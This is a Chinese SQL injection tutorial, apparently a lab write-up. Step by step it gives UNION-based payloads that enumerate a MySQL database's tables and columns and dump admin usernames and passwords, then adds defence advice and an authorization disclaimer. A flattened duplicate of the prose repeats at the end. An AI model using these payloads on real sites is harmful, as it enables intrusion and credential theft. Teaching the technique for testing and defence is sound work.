第一章:为了女神小芳!
字数 1248 2025-08-11 21:26:21

SQL注入攻击实战教学文档

1. 目标站点信息获取

  • 初始步骤:首先需要明确目标网站,本文示例中未直接给出具体URL
  • 关键点:确定存在SQL注入漏洞的网站是渗透测试的第一步

2. 注入点探测技术

2.1 基本注入测试

and 1=1 # 页面显示正常
and 1=2 # 页面显示异常
  • 原理:通过布尔逻辑测试网站是否对输入参数进行SQL解析
  • 判断依据:正常/异常页面反应的差异表明存在SQL注入漏洞

2.2 确定字段数量

?id=1 order by 3 # 页面显示异常
?id=1 order by 2 # 页面显示正常
  • 方法:使用ORDER BY子句逐步增加数字测试
  • 结果:当order by 3报错而order by 2正常,说明查询结果包含2个字段

3. 信息收集技术

3.1 确定回显位置

?id=4 union select 1,2#
  • 目的:找出页面中显示数据库查询结果的位置
  • 技巧:使用union select将数字1和2替换为实际查询内容

3.2 基础数据库信息收集

?id=4 union select 1,database()# → maoshe
?id=4 union select 1,user()# → maoshe@localhost
?id=4 union select 1,version()# → 5.5.53
  • 关键函数
    • database(): 获取当前数据库名
    • user(): 获取数据库用户
    • version(): 获取数据库版本

4. 数据库结构探查

4.1 查询数据库表

?id=4 union select 1,group_concat(table_name) from information_schema.tables where table_schema='maoshe'#
  • 关键表information_schema.tables存储所有表信息
  • 过滤条件table_schema='maoshe'限定只查询目标数据库的表
  • 重要发现:识别出包含关键信息的admin

4.2 查询表结构

?id=4 union select 1,group_concat(column_name) from information_schema.columns where table_name='admin'#
  • 关键表information_schema.columns存储所有列信息
  • 结果:获取admin表的所有列名

5. 数据提取技术

5.1 提取敏感数据

?id=4 union select 1,group_concat(id,username,password) from admin#
  • 方法:直接从目标表查询数据
  • group_concat(): 将多行结果合并为单行输出
  • 结果:获取管理员账号密码等敏感信息

6. 完整攻击流程总结

  1. 注入点确认:通过布尔测试确认漏洞存在
  2. 字段数确定:使用ORDER BY方法
  3. 回显点定位:UNION SELECT定位数据显示位置
  4. 信息收集
    • 数据库基本信息(database(), user(), version())
    • 确认information_schema可用
  5. 结构探查
    • 查询数据库所有表
    • 识别关键表(如admin)
    • 查询表结构
  6. 数据提取:从关键表中获取敏感数据

7. 技术要点总结

  • MySQL特性利用:information_schema数据库是MySQL的重要元数据库
  • 版本影响:5.5.53版本存在已知安全特性限制
  • 关键函数
    • group_concat(): 数据聚合
    • 信息函数(database(), user(), version())
  • 防御绕过:使用#注释符截断后续SQL语句

8. 防御建议

  1. 使用参数化查询(Prepared Statements)
  2. 实施最小权限原则
  3. 过滤特殊字符(#, --, /*等)
  4. 关闭错误回显
  5. 定期更新数据库版本

9. 法律与道德声明

  • 本技术文档仅用于教育目的
  • 未经授权的渗透测试是违法行为
  • 实际应用中必须获得书面授权
  • 遵循负责任披露原则

附录:完整Payload示例

  1. 基础测试:

    ?id=1' and '1'='1
    ?id=1' and '1'='2
    
  2. 信息收集:

    ?id=1' union select null,concat_ws(0x3a,user(),database(),version())-- -
    
  3. 表结构探查:

    ?id=1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()-- -
    
  4. 数据提取:

    ?id=1' union select 1,group_concat(column_name) from information_schema.columns where table_name='admin'-- -
    ?id=1' union select 1,group_concat(username,0x3a,password) from admin-- -
    
SQL注入攻击实战教学文档 1. 目标站点信息获取 初始步骤 :首先需要明确目标网站,本文示例中未直接给出具体URL 关键点 :确定存在SQL注入漏洞的网站是渗透测试的第一步 2. 注入点探测技术 2.1 基本注入测试 原理 :通过布尔逻辑测试网站是否对输入参数进行SQL解析 判断依据 :正常/异常页面反应的差异表明存在SQL注入漏洞 2.2 确定字段数量 方法 :使用ORDER BY子句逐步增加数字测试 结果 :当order by 3报错而order by 2正常,说明查询结果包含2个字段 3. 信息收集技术 3.1 确定回显位置 目的 :找出页面中显示数据库查询结果的位置 技巧 :使用union select将数字1和2替换为实际查询内容 3.2 基础数据库信息收集 关键函数 : database() : 获取当前数据库名 user() : 获取数据库用户 version() : 获取数据库版本 4. 数据库结构探查 4.1 查询数据库表 关键表 : information_schema.tables 存储所有表信息 过滤条件 : table_schema='maoshe' 限定只查询目标数据库的表 重要发现 :识别出包含关键信息的 admin 表 4.2 查询表结构 关键表 : information_schema.columns 存储所有列信息 结果 :获取admin表的所有列名 5. 数据提取技术 5.1 提取敏感数据 方法 :直接从目标表查询数据 group_concat() : 将多行结果合并为单行输出 结果 :获取管理员账号密码等敏感信息 6. 完整攻击流程总结 注入点确认 :通过布尔测试确认漏洞存在 字段数确定 :使用ORDER BY方法 回显点定位 :UNION SELECT定位数据显示位置 信息收集 : 数据库基本信息(database(), user(), version()) 确认information_ schema可用 结构探查 : 查询数据库所有表 识别关键表(如admin) 查询表结构 数据提取 :从关键表中获取敏感数据 7. 技术要点总结 MySQL特性利用 :information_ schema数据库是MySQL的重要元数据库 版本影响 :5.5.53版本存在已知安全特性限制 关键函数 : group_concat() : 数据聚合 信息函数(database(), user(), version()) 防御绕过 :使用#注释符截断后续SQL语句 8. 防御建议 使用参数化查询(Prepared Statements) 实施最小权限原则 过滤特殊字符(#, --, /* 等) 关闭错误回显 定期更新数据库版本 9. 法律与道德声明 本技术文档仅用于教育目的 未经授权的渗透测试是违法行为 实际应用中必须获得书面授权 遵循负责任披露原则 附录:完整Payload示例 基础测试: 信息收集: 表结构探查: 数据提取: